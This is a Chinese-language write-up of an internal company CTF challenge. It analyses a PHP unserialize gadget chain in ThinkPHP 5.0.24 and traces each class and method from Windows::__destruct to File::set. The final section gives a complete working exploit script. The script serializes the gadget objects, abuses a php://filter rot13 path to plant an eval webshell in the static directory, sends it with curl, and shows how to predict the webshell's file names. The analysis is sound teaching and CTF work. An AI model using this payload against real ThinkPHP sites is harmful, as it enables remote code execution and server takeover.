ThinkPHP 5.0.24 反序列化 ROP

Table of Contents

PHP 序列化函数 serialize 可以将一个对象转成字符串形式表示,内容包括了类名及属性;然后通过 unserialize 函数做反序列化,将字符串还原为实例。unserialize 函数参数在可以任意控制的场景下,说明存在反序列化漏洞。

利用反序列化漏洞最关键的是在还原后可以去控制实例中哪些对象属性,以及那些属性都被用来做了什么操作,但是往往一个或几个操作是很难被利用的,因此就要用到 ROP 技术:通过分析框架源码的逻辑,然后根据逻辑一步一步去控制类中的属性,并将各种操作组合在一起,直到能组合出一条可带来实质攻击的利用链。ROP 的复杂点就是组合利用链,这需要大量耐心和时间。

公司内部最近做了一次 Web 安全竞赛,题目用的 ThinkPHP 5.0.24,代码如下:

// file: application/index/controller/Index.php

<?php
namespace app\index\controller;

class Index {
    public function index($input='') {
	echo "Welcome thinkphp 5.0.24";
	echo $input;
	unserialize($input);
    }
}

漏洞存在于 input 参数中,通过访问 /index.php?input=[反序列化] 去触发漏洞。题目的关键是如何构造一个合适的序列化字符串去攻击。

我在做这个题目时没有去自己分析和挖掘利用链,而是在网上参考现有的,因此本文只是总结利用思路。

1. 环境搭建

下载 ThinkPHP 5.0.24,然后在 application/index/controller/Index.php 中写入题目代码,接着进入 public 目录,启动 PHP 自带的 Web 服务:

$ cd public
$ php -S 127.0.0.1:5000

2. 详细分析

类中如果定义了 __destruct 方法,就会在对象销毁时被调用,因此首先就要在 ThinkPHP 框架中找到什么类实现了 __destruct 方法,文件 thinkphp/library/think/process/pipes/Windows.php 的 Windows 类定义了 __destruct:

public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

然后继续跟踪 removeFiles 方法:

private function removeFiles()
{
    foreach ($this->files as $filename) {
	if (file_exists($filename)) {
	    @unlink($filename);
	}
    }
    $this->files = [];
}

如上,$this->files 是个可迭代的对象,并且我们可以控制它。在构造函数 __construct 中看到对 $this->files 的赋值:

public function __construct($disableOutput, $input)
{
    ...省略...

    if (!$this->disableOutput) {
	$this->files = [
	    Process::STDOUT => tempnam(sys_get_temp_dir(), 'sf_proc_stdout'),
	    Process::STDERR => tempnam(sys_get_temp_dir(), 'sf_proc_stderr'),
	];
	...省略...
    }

    ...省略...
}

说明 files 中元素并不是一个字符串,file_exists 函数接受的参数是字符串对象,非字符串调用时,会触发调用 __toString 方法,然后在 thinkphp/library/think/Model.php 中的抽象类 Model 中找到 __toString:

public function __toString()
{
    return $this->toJson();
}

继续跟进 toJson:

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

还是没可控制的变量,内部调用了 toArray,那就继续跟进 toArray:

public function toArray()
{
    $item    = [];
    $visible = [];
    $hidden  = [];

    $data = array_merge($this->data, $this->relation);

    // 过滤属性
    if (!empty($this->visible)) {
	$array = $this->parseAttr($this->visible, $visible);
	$data  = array_intersect_key($data, array_flip($array));
    } elseif (!empty($this->hidden)) {
	$array = $this->parseAttr($this->hidden, $hidden, false);
	$data  = array_diff_key($data, array_flip($array));
    }

    foreach ($data as $key => $val) {
	if ($val instanceof Model || $val instanceof ModelCollection) {
	    // 关联模型对象
	    $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
	} elseif (is_array($val) && reset($val) instanceof Model) {
	    // 关联模型数据集
	    $arr = [];
	    foreach ($val as $k => $value) {
		$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
	    }
	    $item[$key] = $arr;
	} else {
	    // 模型属性
	    $item[$key] = $this->getAttr($key);
	}
    }

    // 追加属性(必须定义获取器)
    if (!empty($this->append)) {
	foreach ($this->append as $key => $name) {
	    if (is_array($name)) {
		// 追加关联对象属性
		$relation   = $this->getAttr($key);
		$item[$key] = $relation->append($name)->toArray();
	    } elseif (strpos($name, '.')) {
		list($key, $attr) = explode('.', $name);
		// 追加关联对象属性
		$relation   = $this->getAttr($key);
		$item[$key] = $relation->append([$attr])->toArray();
	    } else {
		$relation = Loader::parseName($name, 1, false);
		if (method_exists($this, $relation)) {
		    $modelRelation = $this->$relation();
		    $value         = $this->getRelationData($modelRelation);

		    if (method_exists($modelRelation, 'getBindAttr')) {
			$bindAttr = $modelRelation->getBindAttr();
			if ($bindAttr) {
			    foreach ($bindAttr as $key => $attr) {
				$key = is_numeric($key) ? $attr : $key;
				if (isset($this->data[$key])) {
				    throw new Exception('bind attr has exists:' . $key);
				} else {
				    $item[$key] = $value ? $value->getAttr($attr) : null;
				}
			    }
			    continue;
			}
		    }
		    $item[$name] = $value;
		} else {
		    $item[$name] = $this->getAttr($name);
		}
	    }
	}
    }
    return !empty($item) ? $item : [];
}

这函数有点复杂了,仔细阅读逻辑吧。要注意的是,像类似这样的调用:

$item[$key] = $value ? $value->getAttr($attr) : null;

会触发调用 __call 方法,因此就选这句,看看通过哪些条件可以执行到这里,我整理如下:

if (!empty($this->append)) {    // 1. 必须有 append 属性
    foreach ($this->append as $key => $name) { // 2. append 属性是个 key => value 结构
	if (is_array($name)) {                 // 3. name 不是数组
	    // 追加关联对象属性
	    $relation   = $this->getAttr($key);
	    $item[$key] = $relation->append($name)->toArray();
	} elseif (strpos($name, '.')) { // 4. name 中也不包含“.”
	    list($key, $attr) = explode('.', $name);
	    // 追加关联对象属性
	    $relation   = $this->getAttr($key);
	    $item[$key] = $relation->append([$attr])->toArray();
	} else {
	    $relation = Loader::parseName($name, 1, false);
	    if (method_exists($this, $relation)) { // 5. name 解析出来后,还必须是这个类已存在的方法
		$modelRelation = $this->$relation(); // 6. 取调用这个方法后的返回值
		$value         = $this->getRelationData($modelRelation); // 7. 返回值会传递给 getRelationData 方法

		// 8. 还必须存在 getBindAttr 方法
		if (method_exists($modelRelation, 'getBindAttr')) {
		    $bindAttr = $modelRelation->getBindAttr();
		    // 9. 调用 getBindAttr 后返回一个 key => value 的可遍历对象
		    if ($bindAttr) {
			foreach ($bindAttr as $key => $attr) {
			    $key = is_numeric($key) ? $attr : $key;
			    if (isset($this->data[$key])) { // 10. $this->data 中不存在 key
				throw new Exception('bind attr has exists:' . $key);
			    } else {
				$item[$key] = $value ? $value->getAttr($attr) : null; // 跳板处
			    }
			}
			continue;
		    }
		}
		$item[$name] = $value;
	    } else {
		$item[$name] = $this->getAttr($name);
	    }
	}
    }
}

上面代码我注释了 10 大关键点,满足这些条件后才可以最终执行到“跳板处”。最关键的是第 6、7 点,第 6 点:

$modelRelation = $this->$relation()

$relation 来自 $append 中的 value,这里我们可以选 getError,因为它的实现中可以控制 $this->error:

public function getError()
{
    return $this->error;
}

控制 $this->error,让它指向的对象符合 getRelationData 实现:

protected function getRelationData(Relation $modelRelation)
{
    if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
	$value = $this->parent;
    } else {
	// 首先获取关联数据
	if (method_exists($modelRelation, 'getRelation')) {
	    $value = $modelRelation->getRelation();
	} else {
	    throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
	}
    }
    return $value;
}

如上,也就是传递的 $modelRelation 参数必须是 Relation 类型,并且要满足:

if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent))

满足条件后,返回的值来自 $this->parent,$this->parent 也可以通过反序列化控制。

thinkphp/library/think/model/relation/HasOne.php 中的 HasOne 就是 Relation 的子类,因此 $this->error 可以用它;$this->parent 使用 thinkphp/library/think/console/Output.php 中的 Output 类,因为 Output 实现了 __call:

public function __call($method, $args)
{
    if (in_array($method, $this->styles)) {
	array_unshift($args, $method);
	// 这里会调用 $this->handle 的 block 方法
	return call_user_func_array([$this, 'block'], $args);
    }

    if ($this->handle && method_exists($this->handle, $method)) {
	return call_user_func_array([$this->handle, $method], $args);
    } else {
	throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
    }
}

__call 会调用 $this->handle 的 block 方法(看不懂的建议看看 PHP 手册里 call_user_func_array 函数),可以反序列化控制;block 会依次调用 writeln、write,相关代码如下:

protected function block($style, $message)
{
    $this->writeln("<{$style}>{$message}</$style>");
}

public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
    $this->write($messages, true, $type);
}

public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
    $this->handle->write($messages, $newline, $type);
}

write 会调用 $this->handle 的 write 方法,而 $this->handle 是可控的,所以找找还有哪些类实现了 write 方法,找到 thinkphp/library/think/session/driver/Memcached.php 中的 Memcached 类,它的 write 实现如下:

public function write($sessID, $sessData)
{
    return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

又调用了 set 方法,继续找哪些类实现了 set,thinkphp/library/think/cache/driver/File.php 的 File 类实现了:

public function set($name, $value, $expire = null)
{
    if (is_null($expire)) {
	$expire = $this->options['expire'];
    }
    if ($expire instanceof \DateTime) {
	$expire = $expire->getTimestamp() - time();
    }
    $filename = $this->getCacheKey($name, true);
    if ($this->tag && !is_file($filename)) {
	$first = true;
    }
    $data = serialize($value);
    if ($this->options['data_compress'] && function_exists('gzcompress')) {
	$data = gzcompress($data, 3);
    }
    $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
    $result = file_put_contents($filename, $data);
    if ($result) {
	isset($first) && $this->setTagItem($filename);
	clearstatcache();
	return true;
    } else {
	return false;
    }
}

File 的 set 方法调用了 file_put_contents 写文件,考虑用它是否能写 Webshell。其中 $filename 是调用 getCacheKey 方法获得:

protected function getCacheKey($name, $auto = false)
{
    $name = md5($name);
    if ($this->options['cache_subdir']) {
	// 使用子目录
	$name = substr($name, 0, 2) . DS . substr($name, 2);
    }
    if ($this->options['prefix']) {
	$name = $this->options['prefix'] . DS . $name;
    }
    $filename = $this->options['path'] . $name . '.php';
    $dir      = dirname($filename);

    if ($auto && !is_dir($dir)) {
	mkdir($dir, 0755, true);
    }
    return $filename;
}

注意其中 $filename 是来自 $this->options['path'],那就可以控制 $this->options。但是目前看来 set 方法里 $data 变量不好控制,不过经过分析,后面调用 $this->setTagItem 时会再次调用 set 一次,setTagItem 定义在 thinkphp/library/think/cache/Driver.php 中抽象类 Driver 中:

protected function setTagItem($name)
{
    if ($this->tag) {
	$key       = 'tag_' . md5($this->tag);
	$this->tag = null;
	if ($this->has($key)) {
	    $value   = explode(',', $this->get($key));
	    $value[] = $name;
	    $value   = implode(',', array_unique($value));
	} else {
	    $value = $name;
	}
	$this->set($key, $value, 0);
    }
}

最后句调用了 set 方法,并且注意那句 $value = $name,也就是会写两次文件,第二次调用 setTagItem 会把文件名也写到文件中,如果把文件命名为 PHP 代码形式,那就可以把 PHP 代码写到文件中了,而文件名是可以预测的,因此最终可以写个 Webshell。

最终构造的解题代码如下:

<?php
namespace think\cache\driver;

class File {
    protected $options = [];
    protected $tag;
    public function __construct() {
	$this->tag = 'xige';
	$this->options = [
	    'cache_subdir'  => false,
	    'prefix'        => '',
	    'path' => 'php://filter/write=string.rot13/resource=static/<?cuc @riny($_TRG[\'n\']); ?>', // 因为 static 目录有写权限
	    'data_compress' => false
	];
    }
}

namespace think\session\driver;
use think\cache\driver\File;

class Memcached {
    protected $handler;
    function __construct() {
	$this->handler=new File();
    }
}

namespace think\console;
use think\session\driver\Memcached;

class Output {
    protected $styles = [];
    private $handle;
    function __construct() {
	$this->styles = ["getAttr", 'info',
			 'error',
			 'comment',
			 'question',
			 'highlight',
			 'warning'];
	$this->handle = new Memcached();
    }
}

namespace think\db;
use think\console\Output;

class Query {
    protected $model;
    function __construct() {
	$this->model = new Output();
    }
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;

class HasOne {
    public $model;
    protected $selfRelation;
    protected $parent;
    protected $query;
    protected $bindAttr = [];
    public function __construct() {
	$this->query = new Query("xx", 'think\console\Output');
	$this->model = false;
	$this->selfRelation = false;
	$this->bindAttr = ["xx" => "xx"];
    }}

namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model {
}

class Pivot extends Model {
    public $parent;
    protected $append = [];
    protected $data = [];
    protected $error;
    protected $model;

    function __construct() {
	$this->parent = new Output();
	$this->error = new HasOne();
	$this->model = "test";
	$this->append = ["test" => "getError"];
	$this->data = ["panrent" => "true"];
    }
}

namespace think\process\pipes;
use think\model\Pivot;

class Windows {
    private $files = [];
    public function __construct() {
	$this->files=[new Pivot()];
    }
}

$obj = new Windows();
$payload = serialize($obj);
echo $payload;

$host = 'http://host';
$url = "${host}/?input=" . urlencode($payload);
echo $url;
`curl $url -v`;

然后会在 static 目录下生成两个文件:

'<?cuc @riny($_TRG['\''n'\'']); ?>27a85b1aed60ffa54fae503e4197ce6b.php'
'<?cuc @riny($_TRG['\''n'\'']); ?>bfe3467e649d6d158c51b5b5494ca5a2.php'

至于路径中的 MD5,经过我调试,其实是可以计算出来的,算法如下:

md5("tag_" . md5($tag))

而 $tag 就是 File 类中的 $this->tag。

整个过程非常复杂,我建议参考着文章一步一步手动调试,就会梳理清楚的。

3. 参考文章